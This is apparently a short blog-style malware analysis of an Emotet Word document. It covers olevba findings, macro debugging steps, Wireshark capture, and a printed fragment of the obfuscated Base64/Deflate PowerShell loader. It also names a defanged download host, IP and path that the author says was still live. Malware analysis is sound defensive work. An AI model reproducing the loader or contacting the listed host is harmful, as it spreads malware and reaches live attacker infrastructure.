Emotet malware analysis


VirusTotal sample – c9bdfb2d6ac9e493bc391b2f64b48d8d5cde10645ea921951b23112e6d73545c

File Type: Microsoft Word Document

Document Property:

I have used Oletools to analyse word document properties and analyse content.

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This word document has VBA macros.

After parsing word document using olevba, this tells, file has suspicious hex string and Base64 strings.

And file has below macros,

  • LUDoB_BX.cls
  • fkkkCAk.bas
  • ZAAcAA.bas

And macros will auto execute on opening document

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I start debugging macros in word document,

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After Enable Editing, Open View Macros under View tab

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Click on Edit and change autoopen() function to autoopen2().

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There are many small chunks of Base64 strings which  are concatenating and creating a PowerShell script I have captured the Base64 string in text file and tried to decode. I didn’t get the complete base64 but some part of it and can be recognized it is PowerShell script.

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 (nEw-OBJECt sySTeM.Io.comPReSsIOn.dEfLatEstReAM( [Io.mEMORystREam] [coNverT]::FrOMbase64stRING(('ZZJh'+'i'+'5'+'tAEIb/y'+'n'+'4'+'QNiFVz9YP5US4MbYSS'+'gOmhLN'+'H'+'QXQz'+'6kbd9XSjOUL'+'+e'+'zdtJbSdb7s87z'+'vDO2'+'O8g'+'q5'+'z4P'+'r0E'+'EA'+'an8'+'OI'+'esbXKA5TGfoCJ1PmR2SK'+'bFFZz5ivG45'+'CecZrKJMA'+'wKeV'+'Ut2jbW'+'M'+'7
IArsj9xisrWnzmRSKI3'+'a'+'u'+'9'+'2Xk/10wwbNVRmTQ6npG'+'csO'+'LRe24'+'zjuHZq'+'m'+'yaoy'+'c'+'chPvF'+'F'+'Z1w3/e'+'k4'+'f'+'FLs9Cl'+'7aT'+'v5'+'b+EfXv2Wi63FQv'+'zSs5Gau/Y/'+'tJ'+'7m9N'+'xiwH3nBR/'+'zPeDdubW'+'p96xquFvSJLj1j1Pk44'+'L74N'+'N'+'iDT

during debugging, I got the below values are stored in the variable YAAAAAA and it is reading registry key values.

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while debugging, I captured traffic using WireShark and found, connection has been made to web site emseenerji[.]com at IP 94[.]73[.]147[.]237. URL is still alive and can be accessed.

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The complete URL which was accessed by this program http:// emseenerji[.]com/wp-content/RRKu/

My host machine AV blocked this URL and I couldn’t analyze traffic further from this URL to my VM.

Thank you.

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